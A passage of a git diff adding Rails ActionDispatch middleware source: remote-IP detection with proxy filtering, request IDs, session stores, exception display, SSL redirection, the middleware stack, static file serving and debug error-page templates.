+ (([0-9A-Fa-f]{1,4}:){0,2}:([0-9A-Fa-f]{1,4}:){0,3}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
+ (([0-9A-Fa-f]{1,4}:){0,3}:([0-9A-Fa-f]{1,4}:){0,2}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
+ (([0-9A-Fa-f]{1,4}:){0,4}:([0-9A-Fa-f]{1,4}:){1}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
+ (::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d) |(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
+ ([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4}) | # ip v6 with compatible to v4
+ (::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4}) | # ip v6 with double colon at the beginning
+ (([0-9A-Fa-f]{1,4}:){1,7}:) # ip v6 without ending
+ )$)
+ }x
+
+ def initialize(env, middleware)
+ @env = env
+ @check_ip = middleware.check_ip
+ @proxies = middleware.proxies
+ end
+
+ # Sort through the various IP address headers, looking for the IP most
+ # likely to be the address of the actual remote client making this
+ # request.
+ #
+ # REMOTE_ADDR will be correct if the request is made directly against the
+ # Ruby process, on e.g. Heroku. When the request is proxied by another
+ # server like HAProxy or Nginx, the IP address that made the original
+ # request will be put in an X-Forwarded-For header. If there are multiple
+ # proxies, that header may contain a list of IPs. Other proxy services
+ # set the Client-Ip header instead, so we check that too.
+ #
+ # As discussed in {this post about Rails IP Spoofing}[http://blog.gingerlime.com/2012/rails-ip-spoofing-vulnerabilities-and-protection/],
+ # while the first IP in the list is likely to be the "originating" IP,
+ # it could also have been set by the client maliciously.
+ #
+ # In order to find the first address that is (probably) accurate, we
+ # take the list of IPs, remove known and trusted proxies, and then take
+ # the last address left, which was presumably set by one of those proxies.
+ def calculate_ip
+ # Set by the Rack web server, this is a single value.
+ remote_addr = ips_from('REMOTE_ADDR').last
+
+ # Could be a CSV list and/or repeated headers that were concatenated.
+ client_ips = ips_from('HTTP_CLIENT_IP').reverse
+ forwarded_ips = ips_from('HTTP_X_FORWARDED_FOR').reverse
+
+ # +Client-Ip+ and +X-Forwarded-For+ should not, generally, both be set.
+ # If they are both set, it means that this request passed through two
+ # proxies with incompatible IP header conventions, and there is no way
+ # for us to determine which header is the right one after the fact.
+ # Since we have no idea, we give up and explode.
+ should_check_ip = @check_ip && client_ips.last
+ if should_check_ip && !forwarded_ips.include?(client_ips.last)
+ # We don't know which came from the proxy, and which from the user
+ raise IpSpoofAttackError, "IP spoofing attack?! " +
+ "HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect} " +
+ "HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}"
+ end
+
+ # We assume these things about the IP headers:
+ #
+ # - X-Forwarded-For will be a list of IPs, one per proxy, or blank
+ # - Client-Ip is propagated from the outermost proxy, or is blank
+ # - REMOTE_ADDR will be the IP that made the request to Rack
+ ips = [forwarded_ips, client_ips, remote_addr].flatten.compact
+
+ # If every single IP option is in the trusted list, just return REMOTE_ADDR
+ filter_proxies(ips).first || remote_addr
+ end
+
+ # Memoizes the value returned by #calculate_ip and returns it for
+ # ActionDispatch::Request to use.
+ def to_s
+ @ip ||= calculate_ip
+ end
+
+ protected
+
+ def ips_from(header)
+ # Split the comma-separated list into an array of strings
+ ips = @env[header] ? @env[header].strip.split(/[,\s]+/) : []
+ # Only return IPs that are valid according to the regex
+ ips.select{ |ip| ip =~ VALID_IP }
+ end
+
+ def filter_proxies(ips)
+ ips.reject { |ip| ip =~ @proxies }
+ end
+
+ end
+
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/request_id.rb b/actionpack/lib/action_dispatch/middleware/request_id.rb
new file mode 100644
index 0000000..5d1740d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/request_id.rb
@@ -0,0 +1,35 @@
+require 'securerandom'
+require 'active_support/core_ext/string/access'
+
+module ActionDispatch
+ # Makes a unique request id available to the action_dispatch.request_id env variable (which is then accessible through
+ # ActionDispatch::Request#uuid) and sends the same id to the client via the X-Request-Id header.
+ #
+ # The unique request id is either based off the X-Request-Id header in the request, which would typically be generated
+ # by a firewall, load balancer, or the web server, or, if this header is not available, a random uuid. If the
+ # header is accepted from the outside world, we sanitize it to a max of 255 chars and alphanumeric and dashes only.
+ #
+ # The unique request id can be used to trace a request end-to-end and would typically end up being part of log files
+ # from multiple pieces of the stack.
+ class RequestId
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ env["action_dispatch.request_id"] = external_request_id(env) || internal_request_id
+ @app.call(env).tap { |_status, headers, _body| headers["X-Request-Id"] = env["action_dispatch.request_id"] }
+ end
+
+ private
+ def external_request_id(env)
+ if request_id = env["HTTP_X_REQUEST_ID"].presence
+ request_id.gsub(/[^\w\-]/, "").first(255)
+ end
+ end
+
+ def internal_request_id
+ SecureRandom.uuid
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
new file mode 100644
index 0000000..84df55f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
@@ -0,0 +1,90 @@
+require 'rack/utils'
+require 'rack/request'
+require 'rack/session/abstract/id'
+require 'action_dispatch/middleware/cookies'
+require 'action_dispatch/request/session'
+
+module ActionDispatch
+ module Session
+ class SessionRestoreError < StandardError #:nodoc:
+ attr_reader :original_exception
+
+ def initialize(const_error)
+ @original_exception = const_error
+
+ super("Session contains objects whose class definition isn't available.\n" +
+ "Remember to require the classes for all objects kept in the session.\n" +
+ "(Original exception: #{const_error.message} [#{const_error.class}])\n")
+ end
+ end
+
+ module Compatibility
+ def initialize(app, options = {})
+ options[:key] ||= '_session_id'
+ super
+ end
+
+ def generate_sid
+ sid = SecureRandom.hex(16)
+ sid.encode!(Encoding::UTF_8)
+ sid
+ end
+
+ protected
+
+ def initialize_sid
+ @default_options.delete(:sidbits)
+ @default_options.delete(:secure_random)
+ end
+ end
+
+ module StaleSessionCheck
+ def load_session(env)
+ stale_session_check! { super }
+ end
+
+ def extract_session_id(env)
+ stale_session_check! { super }
+ end
+
+ def stale_session_check!
+ yield
+ rescue ArgumentError => argument_error
+ if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
+ begin
+ # Note that the regexp does not allow $1 to end with a ':'
+ $1.constantize
+ rescue LoadError, NameError => e
+ raise ActionDispatch::Session::SessionRestoreError, e, e.backtrace
+ end
+ retry
+ else
+ raise
+ end
+ end
+ end
+
+ module SessionObject # :nodoc:
+ def prepare_session(env)
+ Request::Session.create(self, env, @default_options)
+ end
+
+ def loaded_session?(session)
+ !session.is_a?(Request::Session) || session.loaded?
+ end
+ end
+
+ class AbstractStore < Rack::Session::Abstract::ID
+ include Compatibility
+ include StaleSessionCheck
+ include SessionObject
+
+ private
+
+ def set_cookie(env, session_id, cookie)
+ request = ActionDispatch::Request.new(env)
+ request.cookie_jar[key] = cookie
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
new file mode 100644
index 0000000..1db6194
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
@@ -0,0 +1,49 @@
+require 'action_dispatch/middleware/session/abstract_store'
+
+module ActionDispatch
+ module Session
+ # Session store that uses an ActiveSupport::Cache::Store to store the sessions. This store is most useful
+ # if you don't store critical data in your sessions and you don't need them to live for extended periods
+ # of time.
+ class CacheStore < AbstractStore
+ # Create a new store. The cache to use can be passed in the <tt>:cache</tt> option. If it is
+ # not specified, <tt>Rails.cache</tt> will be used.
+ def initialize(app, options = {})
+ @cache = options[:cache] || Rails.cache
+ options[:expire_after] ||= @cache.options[:expires_in]
+ super
+ end
+
+ # Get a session from the cache.
+ def get_session(env, sid)
+ sid ||= generate_sid
+ session = @cache.read(cache_key(sid))
+ session ||= {}
+ [sid, session]
+ end
+
+ # Set a session in the cache.
+ def set_session(env, sid, session, options)
+ key = cache_key(sid)
+ if session
+ @cache.write(key, session, :expires_in => options[:expire_after])
+ else
+ @cache.delete(key)
+ end
+ sid
+ end
+
+ # Remove a session from the cache.
+ def destroy_session(env, sid, options)
+ @cache.delete(cache_key(sid))
+ generate_sid
+ end
+
+ private
+ # Turn the session id into a cache key.
+ def cache_key(sid)
+ "_session_id:#{sid}"
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
new file mode 100644
index 0000000..b9eb803
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -0,0 +1,122 @@
+require 'active_support/core_ext/hash/keys'
+require 'action_dispatch/middleware/session/abstract_store'
+require 'rack/session/cookie'
+
+module ActionDispatch
+ module Session
+ # This cookie-based session store is the Rails default. It is
+ # dramatically faster than the alternatives.
+ #
+ # Sessions typically contain at most a user_id and flash message; both fit
+ # within the 4K cookie size limit. A CookieOverflow exception is raised if
+ # you attempt to store more than 4K of data.
+ #
+ # The cookie jar used for storage is automatically configured to be the
+ # best possible option given your application's configuration.
+ #
+ # If you only have secret_token set, your cookies will be signed, but
+ # not encrypted. This means a user cannot alter his +user_id+ without
+ # knowing your app's secret key, but can easily read his +user_id+. This
+ # was the default for Rails 3 apps.
+ #
+ # If you have secret_key_base set, your cookies will be encrypted. This
+ # goes a step further than signed cookies in that encrypted cookies cannot
+ # be altered or read by users. This is the default starting in Rails 4.
+ #
+ # If you have both secret_token and secret_key base set, your cookies will
+ # be encrypted, and signed cookies generated by Rails 3 will be
+ # transparently read and encrypted to provide a smooth upgrade path.
+ #
+ # Configure your session store in config/initializers/session_store.rb:
+ #
+ # Myapp::Application.config.session_store :cookie_store, key: '_your_app_session'
+ #
+ # Configure your secret key in config/initializers/secret_token.rb:
+ #
+ # Myapp::Application.config.secret_key_base 'secret key'
+ #
+ # To generate a secret key for an existing application, run `rake secret`.
+ #
+ # If you are upgrading an existing Rails 3 app, you should leave your
+ # existing secret_token in place and simply add the new secret_key_base.
+ # Note that you should wait to set secret_key_base until you have 100% of
+ # your userbase on Rails 4 and are reasonably sure you will not need to
+ # rollback to Rails 3. This is because cookies signed based on the new
+ # secret_key_base in Rails 4 are not backwards compatible with Rails 3.
+ # You are free to leave your existing secret_token in place, not set the
+ # new secret_key_base, and ignore the deprecation warnings until you are
+ # reasonably sure that your upgrade is otherwise complete. Additionally,
+ # you should take care to make sure you are not relying on the ability to
+ # decode signed cookies generated by your app in external applications or
+ # Javascript before upgrading.
+ #
+ # Note that changing digest or secret invalidates all existing sessions!
+ class CookieStore < Rack::Session::Abstract::ID
+ include Compatibility
+ include StaleSessionCheck
+ include SessionObject
+
+ def initialize(app, options={})
+ super(app, options.merge!(:cookie_only => true))
+ end
+
+ def destroy_session(env, session_id, options)
+ new_sid = generate_sid unless options[:drop]
+ # Reset hash and Assign the new session id
+ env["action_dispatch.request.unsigned_session_cookie"] = new_sid ? { "session_id" => new_sid } : {}
+ new_sid
+ end
+
+ def load_session(env)
+ stale_session_check! do
+ data = unpacked_cookie_data(env)
+ data = persistent_session_id!(data)
+ [data["session_id"], data]
+ end
+ end
+
+ private
+
+ def extract_session_id(env)
+ stale_session_check! do
+ unpacked_cookie_data(env)["session_id"]
+ end
+ end
+
+ def unpacked_cookie_data(env)
+ env["action_dispatch.request.unsigned_session_cookie"] ||= begin
+ stale_session_check! do
+ if data = get_cookie(env)
+ data.stringify_keys!
+ end
+ data || {}
+ end
+ end
+ end
+
+ def persistent_session_id!(data, sid=nil)
+ data ||= {}
+ data["session_id"] ||= sid || generate_sid
+ data
+ end
+
+ def set_session(env, sid, session_data, options)
+ session_data["session_id"] = sid
+ session_data
+ end
+
+ def set_cookie(env, session_id, cookie)
+ cookie_jar(env)[@key] = cookie
+ end
+
+ def get_cookie(env)
+ cookie_jar(env)[@key]
+ end
+
+ def cookie_jar(env)
+ request = ActionDispatch::Request.new(env)
+ request.cookie_jar.signed_or_encrypted
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
new file mode 100644
index 0000000..b4d6629
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
@@ -0,0 +1,22 @@
+require 'action_dispatch/middleware/session/abstract_store'
+begin
+ require 'rack/session/dalli'
+rescue LoadError => e
+ $stderr.puts "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
+ raise e
+end
+
+module ActionDispatch
+ module Session
+ class MemCacheStore < Rack::Session::Dalli
+ include Compatibility
+ include StaleSessionCheck
+ include SessionObject
+
+ def initialize(app, options = {})
+ options[:expire_after] ||= options[:expires]
+ super
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
new file mode 100644
index 0000000..fcc5bc1
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -0,0 +1,54 @@
+require 'action_dispatch/http/request'
+require 'action_dispatch/middleware/exception_wrapper'
+
+module ActionDispatch
+ # This middleware rescues any exception returned by the application
+ # and calls an exceptions app that will wrap it in a format for the end user.
+ #
+ # The exceptions app should be passed as parameter on initialization
+ # of ShowExceptions. Every time there is an exception, ShowExceptions will
+ # store the exception in env["action_dispatch.exception"], rewrite the
+ # PATH_INFO to the exception status code and call the rack app.
+ #
+ # If the application returns a "X-Cascade" pass response, this middleware
+ # will send an empty response as result with the correct status code.
+ # If any exception happens inside the exceptions app, this middleware
+ # catches the exceptions and returns a FAILSAFE_RESPONSE.
+ class ShowExceptions
+ FAILSAFE_RESPONSE = [500, { 'Content-Type' => 'text/plain' },
+ ["500 Internal Server Error\n" \
+ "If you are the administrator of this website, then please read this web " \
+ "application's log file and/or the web server's log file to find out what " \
+ "went wrong."]]
+
+ def initialize(app, exceptions_app)
+ @app = app
+ @exceptions_app = exceptions_app
+ end
+
+ def call(env)
+ @app.call(env)
+ rescue Exception => exception
+ raise exception if env['action_dispatch.show_exceptions'] == false
+ render_exception(env, exception)
+ end
+
+ private
+
+ def render_exception(env, exception)
+ wrapper = ExceptionWrapper.new(env, exception)
+ status = wrapper.status_code
+ env["action_dispatch.exception"] = wrapper.exception
+ env["PATH_INFO"] = "/#{status}"
+ response = @exceptions_app.call(env)
+ response[1]['X-Cascade'] == 'pass' ? pass_response(status) : response
+ rescue Exception => failsafe_error
+ $stderr.puts "Error during failsafe response: #{failsafe_error}\n #{failsafe_error.backtrace * "\n "}"
+ FAILSAFE_RESPONSE
+ end
+
+ def pass_response(status)
+ [status, {"Content-Type" => "text/html; charset=#{Response.default_charset}", "Content-Length" => "0"}, []]
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/ssl.rb b/actionpack/lib/action_dispatch/middleware/ssl.rb
new file mode 100644
index 0000000..9e03cbf
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/ssl.rb
@@ -0,0 +1,70 @@
+module ActionDispatch
+ class SSL
+ YEAR = 31536000
+
+ def self.default_hsts_options
+ { :expires => YEAR, :subdomains => false }
+ end
+
+ def initialize(app, options = {})
+ @app = app
+
+ @hsts = options.fetch(:hsts, {})
+ @hsts = {} if @hsts == true
+ @hsts = self.class.default_hsts_options.merge(@hsts) if @hsts
+
+ @host = options[:host]
+ @port = options[:port]
+ end
+
+ def call(env)
+ request = Request.new(env)
+
+ if request.ssl?
+ status, headers, body = @app.call(env)
+ headers = hsts_headers.merge(headers)
+ flag_cookies_as_secure!(headers)
+ [status, headers, body]
+ else
+ redirect_to_https(request)
+ end
+ end
+
+ private
+ def redirect_to_https(request)
+ url = URI(request.url)
+ url.scheme = "https"
+ url.host = @host if @host
+ url.port = @port if @port
+ headers = hsts_headers.merge('Content-Type' => 'text/html',
+ 'Location' => url.to_s)
+
+ [301, headers, []]
+ end
+
+ # http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02
+ def hsts_headers
+ if @hsts
+ value = "max-age=#{@hsts[:expires].to_i}"
+ value += "; includeSubDomains" if @hsts[:subdomains]
+ { 'Strict-Transport-Security' => value }
+ else
+ {}
+ end
+ end
+
+ def flag_cookies_as_secure!(headers)
+ if cookies = headers['Set-Cookie']
+ cookies = cookies.split("\n")
+
+ headers['Set-Cookie'] = cookies.map { |cookie|
+ if cookie !~ /;\s+secure(;|$)/
+ "#{cookie}; secure"
+ else
+ cookie
+ end
+ }.join("\n")
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/stack.rb b/actionpack/lib/action_dispatch/middleware/stack.rb
new file mode 100644
index 0000000..bbf734f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/stack.rb
@@ -0,0 +1,129 @@
+require "active_support/inflector/methods"
+require "active_support/dependencies"
+
+module ActionDispatch
+ class MiddlewareStack
+ class Middleware
+ attr_reader :args, :block, :name, :classcache
+
+ def initialize(klass_or_name, *args, &block)
+ @klass = nil
+
+ if klass_or_name.respond_to?(:name)
+ @klass = klass_or_name
+ @name = @klass.name
+ else
+ @name = klass_or_name.to_s
+ end
+
+ @classcache = ActiveSupport::Dependencies::Reference
+ @args, @block = args, block
+ end
+
+ def klass
+ @klass || classcache[@name]
+ end
+
+ def ==(middleware)
+ case middleware
+ when Middleware
+ klass == middleware.klass
+ when Class
+ klass == middleware
+ else
+ normalize(@name) == normalize(middleware)
+ end
+ end
+
+ def inspect
+ klass.to_s
+ end
+
+ def build(app)
+ klass.new(app, *args, &block)
+ end
+
+ private
+
+ def normalize(object)
+ object.to_s.strip.sub(/^::/, '')
+ end
+ end
+
+ include Enumerable
+
+ attr_accessor :middlewares
+
+ def initialize(*args)
+ @middlewares = []
+ yield(self) if block_given?
+ end
+
+ def each
+ @middlewares.each { |x| yield x }
+ end
+
+ def size
+ middlewares.size
+ end
+
+ def last
+ middlewares.last
+ end
+
+ def [](i)
+ middlewares[i]
+ end
+
+ def unshift(*args, &block)
+ middleware = self.class::Middleware.new(*args, &block)
+ middlewares.unshift(middleware)
+ end
+
+ def initialize_copy(other)
+ self.middlewares = other.middlewares.dup
+ end
+
+ def insert(index, *args, &block)
+ index = assert_index(index, :before)
+ middleware = self.class::Middleware.new(*args, &block)
+ middlewares.insert(index, middleware)
+ end
+
+ alias_method :insert_before, :insert
+
+ def insert_after(index, *args, &block)
+ index = assert_index(index, :after)
+ insert(index + 1, *args, &block)
+ end
+
+ def swap(target, *args, &block)
+ index = assert_index(target, :before)
+ insert(index, *args, &block)
+ middlewares.delete_at(index + 1)
+ end
+
+ def delete(target)
+ middlewares.delete target
+ end
+
+ def use(*args, &block)
+ middleware = self.class::Middleware.new(*args, &block)
+ middlewares.push(middleware)
+ end
+
+ def build(app = nil, &block)
+ app ||= block
+ raise "MiddlewareStack#build requires an app" unless app
+ middlewares.freeze.reverse.inject(app) { |a, e| e.build(a) }
+ end
+
+ protected
+
+ def assert_index(index, where)
+ i = index.is_a?(Integer) ? index : middlewares.index(index)
+ raise "No such middleware to insert #{where}: #{index.inspect}" unless i
+ i
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb
new file mode 100644
index 0000000..c6a7d9c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/static.rb
@@ -0,0 +1,67 @@
+require 'rack/utils'
+require 'active_support/core_ext/uri'
+
+module ActionDispatch
+ class FileHandler
+ def initialize(root, cache_control)
+ @root = root.chomp('/')
+ @compiled_root = /^#{Regexp.escape(root)}/
+ headers = cache_control && { 'Cache-Control' => cache_control }
+ @file_server = ::Rack::File.new(@root, headers)
+ end
+
+ def match?(path)
+ path = path.dup
+
+ full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(unescape_path(path)))
+ paths = "#{full_path}#{ext}"
+
+ matches = Dir[paths]
+ match = matches.detect { |m| File.file?(m) }
+ if match
+ match.sub!(@compiled_root, '')
+ ::Rack::Utils.escape(match)
+ end
+ end
+
+ def call(env)
+ @file_server.call(env)
+ end
+
+ def ext
+ @ext ||= begin
+ ext = ::ActionController::Base.default_static_extension
+ "{,#{ext},/index#{ext}}"
+ end
+ end
+
+ def unescape_path(path)
+ URI.parser.unescape(path)
+ end
+
+ def escape_glob_chars(path)
+ path.force_encoding('binary') if path.respond_to? :force_encoding
+ path.gsub(/[*?{}\[\]]/, "\\\\\\&")
+ end
+ end
+
+ class Static
+ def initialize(app, path, cache_control=nil)
+ @app = app
+ @file_handler = FileHandler.new(path, cache_control)
+ end
+
+ def call(env)
+ case env['REQUEST_METHOD']
+ when 'GET', 'HEAD'
+ path = env['PATH_INFO'].chomp('/')
+ if match = @file_handler.match?(path)
+ env["PATH_INFO"] = match
+ return @file_handler.call(env)
+ end
+ end
+
+ @app.call(env)
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
new file mode 100644
index 0000000..db219c8
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
@@ -0,0 +1,34 @@
+<% unless @exception.blamed_files.blank? %>
+ <% if (hide = @exception.blamed_files.length > 8) %>
+ <a href="#" onclick="return toggleTrace()">Toggle blamed files</a>
+ <% end %>
+ <pre id="blame_trace" <%='style="display:none"' if hide %>><code><%= @exception.describe_blame %></code></pre>
+<% end %>
+
+<%
+ clean_params = @request.filtered_parameters.clone
+ clean_params.delete("action")
+ clean_params.delete("controller")
+
+ request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
+
+ def debug_hash(object)
+ object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+ end unless self.class.method_defined?(:debug_hash)
+%>
+
+<h2 style="margin-top: 30px">Request</h2>
+<p><b>Parameters</b>:</p> <pre><%= request_dump %></pre>
+
+<div class="details">
+ <div class="summary"><a href="#" onclick="return toggleSessionDump()">Toggle session dump</a></div>
+ <div id="session_dump" style="display:none"><pre><%= debug_hash @request.session %></pre></div>
+</div>
+
+<div class="details">
+ <div class="summary"><a href="#" onclick="return toggleEnvDump()">Toggle env dump</a></div>
+ <div id="env_dump" style="display:none"><pre><%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %></pre></div>
+</div>
+
+<h2 style="margin-top: 30px">Response</h2>
+<p><b>Headers</b>:</p> <pre><%= defined?(@response) ? @response.headers.inspect.gsub(',', ",\n") : 'None' %></pre>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb
new file mode 100644
index 0000000..38429cb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb
@@ -0,0 +1,25 @@
+<% if @source_extract %>
+<div class="source">
+<div class="info">
+ Extracted source (around line <strong>#<%= @line_number %></strong>):
+</div>
+<div class="data">
+ <table cellpadding="0" cellspacing="0" class="lines">
+ <tr>
+ <td>
+ <pre class="line_numbers">
+ <% @source_extract.keys.each do |line_number| %>
+<span><%= line_number -%></span>
+ <% end %>
+ </pre>
+ </td>
+<td width="100%">
+<pre>
+<% @source_extract.each do |line, source| -%><div class="line<%= " active" if line == @line_number -%>"><%= source -%></div><% end -%>
+</pre>
+</td>
+ </tr>
+ </table>
+</div>
+</div>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb
new file mode 100644
index 0000000..b181909
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb
@@ -0,0 +1,24 @@
+<%
+ traces = { "Application Trace" => @application_trace,
+ "Framework Trace" => @framework_trace,
+ "Full Trace" => @full_trace }
+ names = traces.keys
+%>
+
+<p><code>Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %></code></p>
+
+<div id="traces">
+ <% names.each do |name| %>
+ <%
+ show = "show('#{name.gsub(/\s/, '-')}');"
+ hide = (names - [name]).collect {|hide_name| "hide('#{hide_name.gsub(/\s/, '-')}');"}
+ %>
+ <a href="#" onclick="<%= hide.join %><%= show %>; return false;"><%= name %></a> <%= '|' unless names.last == name %>
+ <% end %>
+
+ <% traces.each do |name, trace| %>
+ <div id="<%= name.gsub(/\s/, '-') %>" style="display: <%= (name == "Application Trace") ? 'block' : 'none' %>;">
+ <pre><code><%= trace.join "\n" %></code></pre>
+ </div>
+ <% end %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
new file mode 100644
index 0000000..57a2940
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
@@ -0,0 +1,16 @@
+<header>
+ <h1>
+ <%= @exception.class.to_s %>
+ <% if @request.parameters['controller'] %>
+ in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
+ <% end %>
+ </h1>
+</header>
+
+<div id="container">
+ <h2><%= @exception.message %></h2>
+
+ <%= render template: "rescues/_source" %>
+ <%= render template: "rescues/_trace" %>
+ <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
new file mode 100644
index 0000000..891c87a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
@@ -0,0 +1,148 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+ <meta charset="utf-8" />
+ <title>Action Controller: Exception caught</title>
+ <style>
+ body {
+ background-color: #FAFAFA;
+ color: #333;
+ margin: 0px;
+ }
+
+ body, p, ol, ul, td {
+ font-family: helvetica, verdana, arial, sans-serif;
+ font-size: 13px;
+ line-height: 18px;
+ }
+
+ pre {
+ font-size: 11px;
+ white-space: pre-wrap;
+ }
+
+ pre.box {
+ border: 1px solid #EEE;
+ padding: 10px;
+ margin: 0px;
+ width: 958px;
+ }
+
+ header {
+ color: #F0F0F0;
+ background: #C52F24;
+ padding: 0.5em 1.5em;
+ }
+
+ h2 {
+ color: #C52F24;
+ line-height: 25px;
+ }
+
+ .details {
+ border: 1px solid #D0D0D0;
+ border-radius: 4px;
+ margin: 1em 0px;
+ display: block;
+ width: 978px;
+ }
+
+ .summary {
+ padding: 8px 15px;
+ border-bottom: 1px solid #D0D0D0;
+ display: block;
+ }
+
+ .details pre {
+ margin: 5px;
+ border: none;
+ }
+
+ #container {
+ box-sizing: border-box;
+ width: 100%;
+ padding: 0 1.5em;
+ }
+
+ .source * {
+ margin: 0px;
+ padding: 0px;
+ }
+
+ .source {
+ border: 1px solid #D9D9D9;
+ background: #ECECEC;
+ width: 978px;
+ }
+
+ .source pre {
+ padding: 10px 0px;
+ border: none;
+ }
+
+ .source .data {
+ font-size: 80%;
+ overflow: auto;
+ background-color: #FFF;
+ }
+
+ .info {
+ padding: 0.5em;
+ }
+
+ .source .data .line_numbers {
+ background-color: #ECECEC;
+ color: #AAA;
+ padding: 1em .5em;
+ border-right: 1px solid #DDD;
+ text-align: right;
+ }
+
+ .line {
+ padding-left: 10px;
+ }
+
+ .line:hover {
+ background-color: #F6F6F6;
+ }
+
+ .line.active {
+ background-color: #FFCCCC;
+ }
+
+ a { color: #980905; }
+ a:visited { color: #666; }
+ a:hover { color: #C52F24; }
+
+ <%= yield :style %>
+ </style>
+
+ <script>
+ var toggle = function(id) {
+ var s = document.getElementById(id).style;
+ s.display = s.display == 'none' ? 'block' : 'none';
+ return false;
+ }
+ var show = function(id) {
+ document.getElementById(id).style.display = 'block';
+ }
+ var hide = function(id) {
+ document.getElementById(id).style.display = 'none';
+ }
+ var toggleTrace = function() {
+ return toggle('blame_trace');
+ }
+ var toggleSessionDump = function() {
+ return toggle('session_dump');
+ }
+ var toggleEnvDump = function() {
+ return toggle('env_dump');
+ }
+ </script>
+</head>
+<body>
+
+<%= yield %>
+
+</body>
+</html>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb
new file mode 100644
index 0000000..ca14215
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb
@@ -0,0 +1,7 @@
+<header>
+ <h1>Template is missing</h1>
+</header>
+
+<div id="container">
+ <h2><%= @exception.message %></h2>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
new file mode 100644
index 0000000..cd3daff
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
